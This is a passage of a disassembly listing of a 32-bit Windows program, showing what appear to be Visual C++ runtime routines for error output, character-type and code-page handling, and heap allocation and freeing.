		push	eax
		call	sub_402730
		push	ds:off_406DA4[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_402730
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_404573
		add	esp, 2Ch
		pop	edi
		jmp	short loc_403719
; ---------------------------------------------------------------------------


loc_4036F3:				; CODE XREF: sub_4035C9+3Cj
					; sub_4035C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_406DA4[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_402210
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_4050D8	; GetStdHandle
		push	eax
		call	ds:dword_40507C	; WriteFile


loc_403719:				; CODE XREF: sub_4035C9+2Ej
					; sub_4035C9+59j ...
		pop	esi
		leave
		retn
sub_4035C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40371C	proc near		; CODE XREF: sub_402A4C+5Ep
					; sub_403AE6+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405428
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4070A8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_40378B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_405424
		push	esi
		call	ds:dword_405070	; GetStringTypeW
		test	eax, eax
		jz	short loc_403769
		mov	eax, esi
		jmp	short loc_403786
; ---------------------------------------------------------------------------


loc_403769:				; CODE XREF: sub_40371C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_406F38
		push	esi
		push	ebx
		call	ds:dword_405074	; GetStringTypeA
		test	eax, eax
		jz	loc_403851
		push	2
		pop	eax


loc_403786:				; CODE XREF: sub_40371C+4Bj
		mov	ds:dword_4070A8, eax


loc_40378B:				; CODE XREF: sub_40371C+2Fj
		cmp	eax, 2
		jnz	short loc_4037B4
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_40379C
		mov	eax, ds:dword_4070C4


loc_40379C:				; CODE XREF: sub_40371C+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_405074	; GetStringTypeA
		jmp	loc_403853
; ---------------------------------------------------------------------------


loc_4037B4:				; CODE XREF: sub_40371C+72j
		cmp	eax, 1
		jnz	loc_403851
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4037CA
		mov	eax, ds:dword_4070D4
		mov	[ebp+arg_10], eax


loc_4037CA:				; CODE XREF: sub_40371C+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_405078	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_403851
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4021B0
		add	esp, 0Ch
		jmp	short loc_403820
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_403820:				; CODE XREF: sub_40371C+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_403851
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_405078	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_403851
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_405070	; GetStringTypeW
		jmp	short loc_403853
; ---------------------------------------------------------------------------


loc_403851:				; CODE XREF: sub_40371C+61j
					; sub_40371C+9Bj ...
		xor	eax, eax


loc_403853:				; CODE XREF: sub_40371C+93j
					; sub_40371C+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403865	proc near		; CODE XREF: sub_402D47+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_403876
		add	esp, 0Ch
		retn
sub_403865	endp


; =============== S U B	R O U T	I N E =======================================



sub_403876	proc near		; CODE XREF: sub_403865+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_407221[eax], cl
		jnz	short loc_4038A3
		cmp	[esp+arg_4], 0
		jz	short loc_40389C
		movzx	eax, ds:word_406AEA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_40389E
; ---------------------------------------------------------------------------


loc_40389C:				; CODE XREF: sub_403876+16j
		xor	eax, eax


loc_40389E:				; CODE XREF: sub_403876+24j
		test	eax, eax
		jnz	short loc_4038A3
		retn
; ---------------------------------------------------------------------------


loc_4038A3:				; CODE XREF: sub_403876+Fj
					; sub_403876+2Aj
		push	1
		pop	eax
		retn
sub_403876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038A7	proc near		; CODE XREF: sub_403C6B+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_403A40	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_407100
		mov	[ebp+arg_0], esi
		jz	loc_403A34
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_403A2A
		xor	edx, edx
		mov	eax, offset dword_406E38


loc_4038DB:				; CODE XREF: sub_4038A7+41j
		cmp	[eax], esi
		jz	short loc_403951
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_406F28
		jl	short loc_4038DB
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403A22
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		cmp	[ebp+var_18], 1
		mov	ds:dword_407100, esi
		rep stosd
		stosb
		mov	ds:dword_407324, ebx
		jbe	loc_403A10
		cmp	[ebp+var_12], 0
		jz	loc_4039E6
		lea	ecx, [ebp+var_11]


loc_40392E:				; CODE XREF: sub_4038A7+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4039E6
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_40393F:				; CODE XREF: sub_4038A7+A8j
		cmp	eax, edx
		ja	loc_4039DA
		or	ds:byte_407221[eax], 4
		inc	eax
		jmp	short loc_40393F
; ---------------------------------------------------------------------------


loc_403951:				; CODE XREF: sub_4038A7+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_406E48[esi]


loc_40396D:				; CODE XREF: sub_4038A7+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4039A0


loc_403974:				; CODE XREF: sub_4038A7+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4039A0
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_403999
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_406E30[edx]


loc_40398E:				; CODE XREF: sub_4038A7+F0j
		or	ds:byte_407221[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_40398E


loc_403999:				; CODE XREF: sub_4038A7+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_403974


loc_4039A0:				; CODE XREF: sub_4038A7+CBj
					; sub_4038A7+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_40396D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40711C, 1
		push	eax
		mov	ds:dword_407100, eax
		call	sub_403A8A
		lea	esi, dword_406E3C[esi]
		mov	edi, offset dword_407110
		movsd
		movsd
		pop	ecx
		mov	ds:dword_407324, eax
		movsd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_4039DA:				; CODE XREF: sub_4038A7+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_40392E


loc_4039E6:				; CODE XREF: sub_4038A7+7Ej
					; sub_4038A7+8Bj
		push	1
		pop	eax


loc_4039E9:				; CODE XREF: sub_4038A7+14Fj
		or	ds:byte_407221[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4039E9
		push	esi
		call	sub_403A8A
		pop	ecx
		mov	ds:dword_407324, eax
		mov	ds:dword_40711C, 1
		jmp	short loc_403A16
; ---------------------------------------------------------------------------


loc_403A10:				; CODE XREF: sub_4038A7+74j
		mov	ds:dword_40711C, ebx


loc_403A16:				; CODE XREF: sub_4038A7+167j
		xor	eax, eax
		mov	edi, offset dword_407110
		stosd
		stosd
		stosd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_403A22:				; CODE XREF: sub_4038A7+51j
		cmp	ds:dword_4070AC, ebx
		jz	short loc_403A38


loc_403A2A:				; CODE XREF: sub_4038A7+27j
		call	sub_403ABD


loc_403A2F:				; CODE XREF: sub_4038A7+131j
					; sub_4038A7+179j
		call	sub_403AE6


loc_403A34:				; CODE XREF: sub_4038A7+1Dj
		xor	eax, eax
		jmp	short loc_403A3B
; ---------------------------------------------------------------------------


loc_403A38:				; CODE XREF: sub_4038A7+181j
		or	eax, 0FFFFFFFFh


loc_403A3B:				; CODE XREF: sub_4038A7+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A40	proc near		; CODE XREF: sub_4038A7+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_4070AC, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_403A60
		mov	ds:dword_4070AC, 1
		jmp	ds:dword_405064
; ---------------------------------------------------------------------------


loc_403A60:				; CODE XREF: sub_403A40+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_403A75
		mov	ds:dword_4070AC, 1
		jmp	ds:dword_405068
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A40+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_403A89
		mov	eax, ds:dword_4070D4
		mov	ds:dword_4070AC, 1

locret_403A89:				; CODE XREF: sub_403A40+38j
		retn
sub_403A40	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A8A	proc near		; CODE XREF: sub_4038A7+118p
					; sub_4038A7+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_403AB7
		sub	eax, 4
		jz	short loc_403AB1
		sub	eax, 0Dh
		jz	short loc_403AAB
		dec	eax
		jz	short loc_403AA5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403AA5:				; CODE XREF: sub_403A8A+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_403AAB:				; CODE XREF: sub_403A8A+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_403AB1:				; CODE XREF: sub_403A8A+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_403AB7:				; CODE XREF: sub_403A8A+9j
		mov	eax, 411h
		retn
sub_403A8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403ABD	proc near		; CODE XREF: sub_4038A7:loc_403A2Ap
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_407220
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_407110
		mov	ds:dword_407100, eax
		mov	ds:dword_40711C, eax
		mov	ds:dword_407324, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_403ABD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AE6	proc near		; CODE XREF: sub_4038A7:loc_403A2Fp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_407100
		call	ds:dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403C1F
		xor	eax, eax
		mov	esi, 100h


loc_403B10:				; CODE XREF: sub_403AE6+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_403B10
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_403B61
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_403B2F:				; CODE XREF: sub_403AE6+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_403B56
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_403B56:				; CODE XREF: sub_403AE6+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_403B2F
		pop	edi
		pop	ebx


loc_403B61:				; CODE XREF: sub_403AE6+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_407324
		push	ds:dword_407100
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_40371C
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_407324
		call	sub_4046FE
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_407324
		call	sub_4046FE
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_403BDC:				; CODE XREF: sub_403AE6+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_403BFA
		or	ds:byte_407221[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_403BF2:				; CODE XREF: sub_403AE6+127j
		mov	ds:byte_407120[eax], dl
		jmp	short loc_403C16
; ---------------------------------------------------------------------------


loc_403BFA:				; CODE XREF: sub_403AE6+FCj
		test	dl, 2
		jz	short loc_403C0F
		or	ds:byte_407221[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_403BF2
; ---------------------------------------------------------------------------


loc_403C0F:				; CODE XREF: sub_403AE6+117j
		and	ds:byte_407120[eax], 0


loc_403C16:				; CODE XREF: sub_403AE6+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_403BDC
		jmp	short loc_403C68
; ---------------------------------------------------------------------------


loc_403C1F:				; CODE XREF: sub_403AE6+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_403C26:				; CODE XREF: sub_403AE6+180j
		cmp	eax, 41h
		jb	short loc_403C44
		cmp	eax, 5Ah
		ja	short loc_403C44
		or	ds:byte_407221[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_403C3C:				; CODE XREF: sub_403AE6+174j
		mov	ds:byte_407120[eax], cl
		jmp	short loc_403C63
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_403AE6+143j
					; sub_403AE6+148j
		cmp	eax, 61h
		jb	short loc_403C5C
		cmp	eax, 7Ah
		ja	short loc_403C5C
		or	ds:byte_407221[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_403C3C
; ---------------------------------------------------------------------------


loc_403C5C:				; CODE XREF: sub_403AE6+161j
					; sub_403AE6+166j
		and	ds:byte_407120[eax], 0


loc_403C63:				; CODE XREF: sub_403AE6+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_403C26


loc_403C68:				; CODE XREF: sub_403AE6+137j
		pop	esi
		leave
		retn
sub_403AE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C6B	proc near		; CODE XREF: sub_402D47+9p
					; sub_402D9F+Dp ...
		cmp	ds:dword_407448, 0
		jnz	short locret_403C86
		push	0FFFFFFFDh
		call	sub_4038A7
		pop	ecx
		mov	ds:dword_407448, 1

locret_403C86:				; CODE XREF: sub_403C6B+7j
		retn
sub_403C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C87	proc near		; CODE XREF: sub_402D9F+9Dp
					; sub_4030A5+BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_403CB4
		push	esi
		call	sub_403D68
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_403CA6
		push	eax
		call	sub_403D93
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403CA6:				; CODE XREF: sub_403C87+13j
		push	0
		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap


loc_403CB4:				; CODE XREF: sub_403C87+7j
		pop	esi
		retn
sub_403C87	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CB6	proc near		; CODE XREF: sub_402D9F+3Ap
					; sub_402D9F+6Fp ...

arg_0		= dword	ptr  4

		push	ds:dword_4070E0
		push	[esp+4+arg_0]
		call	sub_403CC8
		pop	ecx
		pop	ecx
		retn
sub_403CB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CC8	proc near		; CODE XREF: sub_403CB6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_403CF1


loc_403CCF:				; CODE XREF: sub_403CC8+27j
		push	[esp+arg_0]
		call	sub_403CF4
		test	eax, eax
		pop	ecx
		jnz	short locret_403CF3
		cmp	[esp+arg_4], eax
		jz	short locret_403CF3
		push	[esp+arg_0]
		call	sub_40494D
		test	eax, eax
		pop	ecx
		jnz	short loc_403CCF


loc_403CF1:				; CODE XREF: sub_403CC8+5j
		xor	eax, eax

locret_403CF3:				; CODE XREF: sub_403CC8+13j
					; sub_403CC8+19j
		retn
sub_403CC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CF4	proc near		; CODE XREF: sub_403CC8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_406F28
		ja	short loc_403D0C
		push	esi
		call	sub_4040BE
		test	eax, eax
		pop	ecx
		jnz	short loc_403D28


loc_403D0C:				; CODE XREF: sub_403CF4+Bj
		test	esi, esi
		jnz	short loc_403D13
		push	1
		pop	esi


loc_403D13:				; CODE XREF: sub_403CF4+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_407328
		call	ds:dword_405060	; RtlAllocateHeap


loc_403D28:				; CODE XREF: sub_403CF4+16j
		pop	esi
		retn
sub_403CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D2A	proc near		; CODE XREF: sub_403382+20p
		push	140h
		push	0
		push	ds:dword_407328
		call	ds:dword_405060	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4070FC, eax
		jnz	short loc_403D47
		retn
; ---------------------------------------------------------------------------


loc_403D47:				; CODE XREF: sub_403D2A+1Aj
		and	ds:dword_4070F4, 0
		and	ds:dword_4070F8, 0
		push	1
		mov	ds:dword_4070F0, eax
		mov	ds:dword_4070E8, 10h
		pop	eax
		retn
sub_403D2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D68	proc near		; CODE XREF: sub_403C87+Ap

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4070F8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4070FC
		lea	ecx, [eax+ecx*4]


loc_403D78:				; CODE XREF: sub_403D68+26j
		cmp	eax, ecx
		jnb	short loc_403D90
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_403D92
		add	eax, 14h
		jmp	short loc_403D78
; ---------------------------------------------------------------------------


loc_403D90:				; CODE XREF: sub_403D68+12j
		xor	eax, eax

locret_403D92:				; CODE XREF: sub_403D68+21j
		retn
sub_403D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D93	proc near		; CODE XREF: sub_403C87+16p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_403E59
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_403DEB
		mov	[ebp+arg_4], edi


loc_403DEB:				; CODE XREF: sub_403D93+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403E19
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_403E3D
; ---------------------------------------------------------------------------


loc_403E19:				; CODE XREF: sub_403D93+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_403E3D:				; CODE XREF: sub_403D93+60j
					; sub_403D93+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_403E59:				; CODE XREF: sub_403D93+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_403E67
		push	3Fh
		pop	edi


loc_403E67:				; CODE XREF: sub_403D93+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_403F16
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_403E92
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_403E92:				; CODE XREF: sub_403D93+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_403EA4
		mov	edi, edx


loc_403EA4:				; CODE XREF: sub_403D93+10Dj
		cmp	ecx, edi
		jz	short loc_403F13
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403ED7
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_403EFB
; ---------------------------------------------------------------------------


loc_403ED7:				; CODE XREF: sub_403D93+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_403EFB:				; CODE XREF: sub_403D93+11Ej
					; sub_403D93+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_403F13:				; CODE XREF: sub_403D93+113j
		mov	edx, [ebp+var_8]


loc_403F16:				; CODE XREF: sub_403D93+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_403F25
		cmp	[ebp+arg_4], edi
		jz	loc_403FAE


loc_403F25:				; CODE XREF: sub_403D93+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403FAE
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_403F82
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F71
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_403F71:				; CODE XREF: sub_403D93+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_403FAB
; ---------------------------------------------------------------------------


loc_403F82:				; CODE XREF: sub_403D93+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F98
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_403F98:				; CODE XREF: sub_403D93+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_403FAB:				; CODE XREF: sub_403D93+1EDj
		mov	ebx, [ebp+var_C]


loc_403FAE:				; CODE XREF: sub_403D93+18Cj
					; sub_403D93+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_4040B9
		mov	eax, ds:dword_4070F4
		test	eax, eax
		jz	loc_4040AB
		mov	ecx, ds:dword_4070EC
		mov	edi, ds:dword_405088
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, ds:dword_4070EC
		mov	eax, ds:dword_4070F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4070F4
		mov	ecx, ds:dword_4070EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4070F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4070F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_404039
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4070F4


loc_404039:				; CODE XREF: sub_403D93+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4040AB
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, ds:dword_4070F4
		push	dword ptr [eax+10h]
		push	0
